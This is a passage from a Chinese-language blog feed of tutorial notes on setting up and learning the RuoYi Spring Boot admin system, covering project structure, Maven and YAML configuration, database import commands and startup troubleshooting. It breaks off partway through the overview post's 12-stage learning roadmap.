│   │   │       └── controller/      # 公共 Controller
│   │   │
│   │   └── resources/
│   │       ├── mapper/              # MyBatis XML 映射文件
│   │       │   ├── generator/       # 代码生成器 Mapper XML
│   │       │   ├── quartz/          # 定时任务 Mapper XML
│   │       │   └── system/          # 系统模块 Mapper XML
│   │       │
│   │       ├── static/              # 静态资源
│   │       │   ├── ajax/            # Ajax 插件
│   │       │   ├── css/             # 样式文件
│   │       │   ├── fonts/           # 字体文件
│   │       │   ├── img/             # 图片
│   │       │   └── js/              # JavaScript
│   │       │
│   │       ├── templates/           # Thymeleaf 模板
│   │       │   ├── error/           # 错误页面
│   │       │   ├── include/         # 公共片段
│   │       │   ├── index/           # 首页
│   │       │   ├── login/           # 登录页
│   │       │   ├── monitor/         # 监控页面
│   │       │   ├── system/          # 系统管理页面
│   │       │   └── tool/            # 工具页面
│   │       │
│   │       ├── application.yml      # 主配置文件
│   │       ├── application-druid.yml # 数据源配置
│   │       ├── logback.xml          # 日志配置
│   │       └── banner.txt           # 启动 Banner
│   │
│   └── test/                        # 测试代码
│
├── sql/                             # 数据库脚本
│   ├── ry_20240629.sql              # 主库脚本
│   └── quartz.sql                   # 定时任务脚本
│
├── pom.xml                          # Maven 配置
├── README.md                        # 项目说明
└── LICENSE                          # 开源协议
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Maven 配置 (pom.xml)&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;pom.xml&lt;/code&gt; 是项目的&quot;package.json&quot;，定义了依赖和构建配置：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- pom.xml 核心依赖 --&amp;gt;
&amp;lt;dependencies&amp;gt;
    &amp;lt;!-- Spring Boot 核心 --&amp;gt;
    &amp;lt;dependency&amp;gt;
        &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt;
        &amp;lt;artifactId&amp;gt;spring-boot-starter-web&amp;lt;/artifactId&amp;gt;
    &amp;lt;/dependency&amp;gt;
    
    &amp;lt;!-- Spring Boot 测试 --&amp;gt;
    &amp;lt;dependency&amp;gt;
        &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt;
        &amp;lt;artifactId&amp;gt;spring-boot-starter-test&amp;lt;/artifactId&amp;gt;
        &amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt;
    &amp;lt;/dependency&amp;gt;
    
    &amp;lt;!-- MyBatis --&amp;gt;
    &amp;lt;dependency&amp;gt;
        &amp;lt;groupId&amp;gt;org.mybatis.spring.boot&amp;lt;/groupId&amp;gt;
        &amp;lt;artifactId&amp;gt;mybatis-spring-boot-starter&amp;lt;/artifactId&amp;gt;
        &amp;lt;version&amp;gt;2.3.1&amp;lt;/version&amp;gt;
    &amp;lt;/dependency&amp;gt;
    
    &amp;lt;!-- MySQL 驱动 --&amp;gt;
    &amp;lt;dependency&amp;gt;
        &amp;lt;groupId&amp;gt;com.mysql&amp;lt;/groupId&amp;gt;
        &amp;lt;artifactId&amp;gt;mysql-connector-j&amp;lt;/artifactId&amp;gt;
        &amp;lt;scope&amp;gt;runtime&amp;lt;/scope&amp;gt;
    &amp;lt;/dependency&amp;gt;
    
    &amp;lt;!-- Druid 连接池 --&amp;gt;
    &amp;lt;dependency&amp;gt;
        &amp;lt;groupId&amp;gt;com.alibaba&amp;lt;/groupId&amp;gt;
        &amp;lt;artifactId&amp;gt;druid-spring-boot-starter&amp;lt;/artifactId&amp;gt;
        &amp;lt;version&amp;gt;1.2.20&amp;lt;/version&amp;gt;
    &amp;lt;/dependency&amp;gt;
    
    &amp;lt;!-- Shiro 安全框架 --&amp;gt;
    &amp;lt;dependency&amp;gt;
        &amp;lt;groupId&amp;gt;org.apache.shiro&amp;lt;/groupId&amp;gt;
        &amp;lt;artifactId&amp;gt;shiro-spring&amp;lt;/artifactId&amp;gt;
        &amp;lt;version&amp;gt;1.13.0&amp;lt;/version&amp;gt;
    &amp;lt;/dependency&amp;gt;
    
    &amp;lt;!-- Thymeleaf 模板引擎 --&amp;gt;
    &amp;lt;dependency&amp;gt;
        &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt;
        &amp;lt;artifactId&amp;gt;spring-boot-starter-thymeleaf&amp;lt;/artifactId&amp;gt;
    &amp;lt;/dependency&amp;gt;
    
    &amp;lt;!-- Quartz 定时任务 --&amp;gt;
    &amp;lt;dependency&amp;gt;
        &amp;lt;groupId&amp;gt;org.quartz-scheduler&amp;lt;/groupId&amp;gt;
        &amp;lt;artifactId&amp;gt;quartz&amp;lt;/artifactId&amp;gt;
    &amp;lt;/dependency&amp;gt;
    
    &amp;lt;!-- 代码生成器模板引擎 --&amp;gt;
    &amp;lt;dependency&amp;gt;
        &amp;lt;groupId&amp;gt;org.apache.velocity&amp;lt;/groupId&amp;gt;
        &amp;lt;artifactId&amp;gt;velocity-engine-core&amp;lt;/artifactId&amp;gt;
        &amp;lt;version&amp;gt;2.3&amp;lt;/version&amp;gt;
    &amp;lt;/dependency&amp;gt;
&amp;lt;/dependencies&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
Maven 依赖管理对比 npm：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;mvn clean install&lt;/code&gt; ≈ &lt;code&gt;npm install&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mvn spring-boot:run&lt;/code&gt; ≈ &lt;code&gt;npm run dev&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pom.xml&lt;/code&gt; 的 &lt;code&gt;&amp;lt;dependencies&amp;gt;&lt;/code&gt; ≈ &lt;code&gt;package.json&lt;/code&gt; 的 &lt;code&gt;dependencies&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h2&gt;配置文件详解&lt;/h2&gt;
&lt;h3&gt;application.yml（主配置）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# src/main/resources/application.yml
spring:
  # 环境配置
  profiles:
    active: druid
  
  # 文件上传限制
  servlet:
    multipart:
      max-file-size: 10MB
      max-request-size: 20MB
  
  # Thymeleaf 模板引擎
  thymeleaf:
    mode: HTML
    encoding: utf-8
    cache: false  # 开发环境关闭缓存
  
  # 静态资源
  web:
    resources:
      static-locations: classpath:/static/,classpath:/public/

# MyBatis 配置
mybatis:
  typeAliasesPackage: com.ruoyi.**.domain
  mapperLocations: classpath:mapper/**/*.xml
  configLocation: classpath:mybatis/mybatis-config.xml

# Shiro 配置
shiro:
  user:
    # 登录地址
    loginUrl: /login
    # 首页
    indexUrl: /index
    # 密码错误次数
    password:
      maxRetryCount: 5
      lockTime: 10  # 锁定时间（分钟）

# 项目相关配置
ruoyi:
  # 名称
  name: RuoYi
  # 版本
  version: 4.8.3
  # 版权年份
  copyrightYear: 2024
  # 实例演示开关
  demoEnabled: true
  # 文件路径（上传文件存储位置）
  profile: D:/ruoyi/uploadPath
  # 获取 IP 地址的 header 键
  addressEnabled: false
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;application-druid.yml（数据源配置）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# src/main/resources/application-druid.yml
spring:
  datasource:
    type: com.alibaba.druid.pool.DruidDataSource
    driverClassName: com.mysql.cj.jdbc.Driver
    druid:
      # 主库数据源
      master:
        url: jdbc:mysql://localhost:3306/ry?useUnicode=true&amp;amp;characterEncoding=utf8&amp;amp;zeroDateTimeBehavior=convertToNull&amp;amp;useSSL=true&amp;amp;serverTimezone=GMT%2B8
        username: root
        password: your_password
      # 从库数据源（可选）
      slave:
        enabled: false
        url: 
        username: 
        password: 
      # 初始连接数
      initialSize: 5
      # 最小连接池数量
      minIdle: 10
      # 最大连接池数量
      maxActive: 20
      # 配置获取连接等待超时的时间
      maxWait: 60000
      # 配置检测间隔时间
      timeBetweenEvictionRunsMillis: 60000
      # 配置连接最小生存时间
      minEvictableIdleTimeMillis: 300000
      # 配置检测连接是否有效
      validationQuery: SELECT 1 FROM DUAL
      testWhileIdle: true
      testOnBorrow: false
      testOnReturn: false
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;启动类&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/RuoYiApplication.java
package com.ruoyi;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration;

/**
 * 启动程序
 * 
 * @author ruoyi
 */
@SpringBootApplication(exclude = { DataSourceAutoConfiguration.class })
public class RuoYiApplication {
    public static void main(String[] args) {
        SpringApplication.run(RuoYiApplication.class, args);
        System.out.println(&quot;(♥◠‿◠)ﾉﾞ  RuoYi 启动成功   ლ(´ڡ`ლ)ﾞ&quot;);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!IMPORTANT]
&lt;code&gt;@SpringBootApplication&lt;/code&gt; 是一个组合注解，包含：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;@SpringBootConfiguration&lt;/code&gt;：标注配置类&lt;/li&gt;
&lt;li&gt;&lt;code&gt;@EnableAutoConfiguration&lt;/code&gt;：启用自动配置&lt;/li&gt;
&lt;li&gt;&lt;code&gt;@ComponentScan&lt;/code&gt;：组件扫描&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;exclude = { DataSourceAutoConfiguration.class }&lt;/code&gt; 排除了 Spring Boot 默认的数据源配置，因为 RuoYi 使用 Druid 自定义数据源。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;数据库脚本导入&lt;/h2&gt;
&lt;p&gt;RuoYi 提供了两个 SQL 脚本：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;脚本&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sql/ry_20240629.sql&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;主库脚本（用户、角色、菜单、部门等表）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sql/quartz.sql&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;定时任务脚本（Quartz 相关表）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;导入步骤&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 1. 创建数据库
mysql -u root -p
CREATE DATABASE ry DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
EXIT;

# 2. 导入主库脚本
mysql -u root -p ry &amp;lt; sql/ry_20240629.sql

# 3. 导入定时任务脚本
mysql -u root -p ry &amp;lt; sql/quartz.sql

# 4. 验证
mysql -u root -p
USE ry;
SHOW TABLES;
# 应该看到 sys_user, sys_role, sys_menu, sys_dept 等表
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;核心数据表&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;表名&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sys_user&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;用户表&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sys_role&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;角色表&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sys_menu&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;菜单表&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sys_dept&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;部门表&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sys_post&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;岗位表&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sys_dict_type&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;字典类型表&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sys_dict_data&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;字典数据表&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sys_config&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;参数配置表&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sys_logininfor&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;登录日志表&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sys_oper_log&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;操作日志表&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sys_user_role&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;用户-角色关联表&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sys_role_menu&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;角色-菜单关联表&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sys_role_dept&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;角色-部门关联表&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sys_user_post&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;用户-岗位关联表&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;启动与验证&lt;/h2&gt;
&lt;h3&gt;IDEA 启动&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;用 IDEA 打开项目（选择 &lt;code&gt;pom.xml&lt;/code&gt; 作为项目导入）&lt;/li&gt;
&lt;li&gt;等待 Maven 下载依赖&lt;/li&gt;
&lt;li&gt;修改 &lt;code&gt;application-druid.yml&lt;/code&gt; 中的数据库密码&lt;/li&gt;
&lt;li&gt;运行 &lt;code&gt;RuoYiApplication.java&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;命令行启动&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 编译项目
mvn clean install -DskipTests

# 启动
mvn spring-boot:run

# 或者打包后运行
mvn clean package -DskipTests
java -jar target/ruoyi.jar
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;访问验证&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;http://localhost:80
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;默认账号：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;用户名：&lt;code&gt;admin&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;密码：&lt;code&gt;admin123&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;常见启动问题&lt;/h2&gt;
&lt;h3&gt;1. 数据库连接失败&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Communications link failure
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;解决&lt;/strong&gt;：检查 &lt;code&gt;application-druid.yml&lt;/code&gt; 中的数据库 URL、用户名、密码。&lt;/p&gt;
&lt;h3&gt;2. 端口被占用&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Port 80 was already in use
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;解决&lt;/strong&gt;：修改 &lt;code&gt;application.yml&lt;/code&gt; 中的端口，或关闭占用端口的程序。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;server:
  port: 8080  # 改成其他端口
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. Maven 依赖下载慢&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;解决&lt;/strong&gt;：配置阿里云镜像。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- ~/.m2/settings.xml --&amp;gt;
&amp;lt;mirrors&amp;gt;
    &amp;lt;mirror&amp;gt;
        &amp;lt;id&amp;gt;aliyunmaven&amp;lt;/id&amp;gt;
        &amp;lt;mirrorOf&amp;gt;*&amp;lt;/mirrorOf&amp;gt;
        &amp;lt;name&amp;gt;阿里云公共仓库&amp;lt;/name&amp;gt;
        &amp;lt;url&amp;gt;https://maven.aliyun.com/repository/public&amp;lt;/url&amp;gt;
    &amp;lt;/mirror&amp;gt;
&amp;lt;/mirrors&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4. Thymeleaf 模板找不到&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Template might not exist or might not be accessible
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;解决&lt;/strong&gt;：确保 &lt;code&gt;spring.thymeleaf.cache: false&lt;/code&gt;（开发环境），并检查模板路径。&lt;/p&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// RuoYi 项目结构记忆口诀
// common  - 公共工具
// framework - 框架核心
// system  - 系统业务
// generator - 代码生成
// quartz  - 定时任务

// 启动类关键注解
@SpringBootApplication(exclude = { DataSourceAutoConfiguration.class })

// 配置文件加载顺序
// application.yml -&amp;gt; application-{profile}.yml

// 默认账号
// admin / admin123
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;文件&lt;/th&gt;
&lt;th&gt;作用&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;pom.xml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Maven 依赖管理&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;application.yml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;主配置文件&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;application-druid.yml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;数据源配置&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;RuoYiApplication.java&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;启动入口&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sql/ry_20240629.sql&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;主库脚本&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sql/quartz.sql&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;定时任务脚本&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一步：&lt;a href=&quot;/blog/posts/ruoyi-roadmap-02-springboot-basics/&quot;&gt;阶段二：Spring Boot 基础与项目结构&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;在阶段二中，我们将深入理解 Spring Boot 的自动配置原理，以及 RuoYi 是如何利用 Spring Boot 的特性来简化开发的。&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>RuoYi 学习路线总览：从 0 到 1 拆解若依后台管理系统</title><link>http://117.72.32.87/blog/posts/ruoyi-roadmap-00-overview/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/ruoyi-roadmap-00-overview/</guid><description>一个前端工程师视角的 RuoYi（若依）项目拆解笔记，12 个阶段带你从环境搭建到核心功能实现，每篇都有真实代码片段和架构图。</description><pubDate>Mon, 07 Sep 2026 02:00:00 GMT</pubDate><content:encoded>&lt;p&gt;写了几年前端，最近想系统学习 Java 后台开发。选了 &lt;strong&gt;RuoYi（若依）&lt;/strong&gt; 作为切入点——它是一个基于 Spring Boot 的轻量级后台管理系统，核心技术采用 Spring + MyBatis + Shiro，没有过度封装，代码结构清晰，非常适合学习。&lt;/p&gt;
&lt;p&gt;这个系列不是&quot;RuoYi 使用手册&quot;，而是一份&lt;strong&gt;项目拆解笔记&lt;/strong&gt;：把若依的 18 个功能模块拆成 12 个学习阶段，每个阶段聚焦一个核心技术点，配上项目中的真实代码片段，方便日后回来快速回忆。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
阅读顺序建议按下面的阶段编号从头到尾走一遍；已经熟悉的阶段可以直接跳到对应文章当作速查表使用。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;项目简介&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;维度&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;项目名称&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;RuoYi（若依）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;当前版本&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;v4.8.3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;技术栈&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Spring Boot + Spring + MyBatis + Shiro&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;前端&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Hplus (H+) 后台主题 UI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;JDK 版本&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;支持 8+ / 17+（多版本分支）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;数据库&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;MySQL 5.7+ / 8.0+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;项目地址&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;https://github.com/yangzongzhuan/RuoYi&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;内置功能模块&lt;/h2&gt;
&lt;p&gt;RuoYi 提供了 18 个开箱即用的功能模块：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;序号&lt;/th&gt;
&lt;th&gt;模块&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;用户管理&lt;/td&gt;
&lt;td&gt;系统用户配置、密码加密、状态管理&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;部门管理&lt;/td&gt;
&lt;td&gt;组织机构树结构、数据权限&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;岗位管理&lt;/td&gt;
&lt;td&gt;用户所属职务配置&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;菜单管理&lt;/td&gt;
&lt;td&gt;系统菜单、操作权限、按钮权限标识&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;角色管理&lt;/td&gt;
&lt;td&gt;角色菜单权限分配、数据范围权限&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;字典管理&lt;/td&gt;
&lt;td&gt;固定数据维护（如性别、状态）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;参数管理&lt;/td&gt;
&lt;td&gt;系统动态配置常用参数&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;通知公告&lt;/td&gt;
&lt;td&gt;系统通知公告信息发布&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;操作日志&lt;/td&gt;
&lt;td&gt;正常操作日志记录和查询&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;登录日志&lt;/td&gt;
&lt;td&gt;登录日志记录查询（含异常）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;在线用户&lt;/td&gt;
&lt;td&gt;活跃用户状态监控&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;定时任务&lt;/td&gt;
&lt;td&gt;在线任务调度、执行结果日志&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;代码生成&lt;/td&gt;
&lt;td&gt;前后端代码生成（CRUD）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;14&lt;/td&gt;
&lt;td&gt;系统接口&lt;/td&gt;
&lt;td&gt;自动生成 API 接口文档&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;15&lt;/td&gt;
&lt;td&gt;服务监控&lt;/td&gt;
&lt;td&gt;CPU、内存、磁盘、堆栈监控&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;缓存监控&lt;/td&gt;
&lt;td&gt;缓存查询、删除、清空&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;17&lt;/td&gt;
&lt;td&gt;在线构建器&lt;/td&gt;
&lt;td&gt;拖动表单元素生成 HTML&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;18&lt;/td&gt;
&lt;td&gt;连接池监视&lt;/td&gt;
&lt;td&gt;数据库连接池状态监控&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;学习路线图&lt;/h2&gt;
&lt;p&gt;整个路线拆成 &lt;strong&gt;12 个阶段&lt;/strong&gt;，前 4 个阶段是技术基础，中间 4 个是核心业务模块，最后 4 个是高级特性：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;阶段&lt;/th&gt;
&lt;th&gt;主题&lt;/th&gt;
&lt;th&gt;关键概念&lt;/th&gt;
&lt;th&gt;预计投入&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;一&lt;/td&gt;
&lt;td&gt;项目概览与环境搭建&lt;/td&gt;
&lt;td&gt;JDK/Maven/MySQL、项目结构、配置文件&lt;/td&gt;
&lt;td&gt;半天&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;二&lt;/td&gt;
&lt;td&gt;Spring Boot 基础&lt;/td&gt;
&lt;td&gt;IoC/DI、注解、自动配置、Starter&lt;/td&gt;
&lt;td&gt;1 天&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;三&lt;/td&gt;
&lt;td&gt;MyBatis 与数据库&lt;/td&gt;
&lt;td&gt;Mapper/XML、CRUD、分页、事务&lt;/td&gt;
&lt;td&gt;1 天&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;四&lt;/td&gt;
&lt;td&gt;Shiro 权限框架&lt;/td&gt;
&lt;td&gt;认证/授权、Session、Realm、注解&lt;/td&gt;
&lt;td&gt;1 天&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;五&lt;/td&gt;
&lt;td&gt;用户管理模块&lt;/td&gt;
&lt;td&gt;实体类、Service、Controller、密码加密&lt;/td&gt;
&lt;td&gt;1 天&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;六&lt;/td&gt;
&lt;td&gt;角色与菜单管理&lt;/td&gt;
&lt;td&gt;RBAC 模型、树形结构、权限分配&lt;/td&gt;
&lt;td&gt;1 天&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;七&lt;/td&gt;
&lt;td&gt;部门与岗位管理&lt;/td&gt;
&lt;td&gt;数据权限、树形查询、递归&lt;/td&gt;
&lt;td&gt;半天&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;八&lt;/td&gt;
&lt;td&gt;字典与参数管理&lt;/td&gt;
&lt;td&gt;缓存设计、Redis 集成、配置中心&lt;/td&gt;
&lt;td&gt;半天&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;九&lt;/td&gt;
&lt;td&gt;日志管理&lt;/td&gt;
&lt;td&gt;AOP 切面、操作日志、登录日志&lt;/td&gt;
&lt;td&gt;半天&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;十&lt;/td&gt;
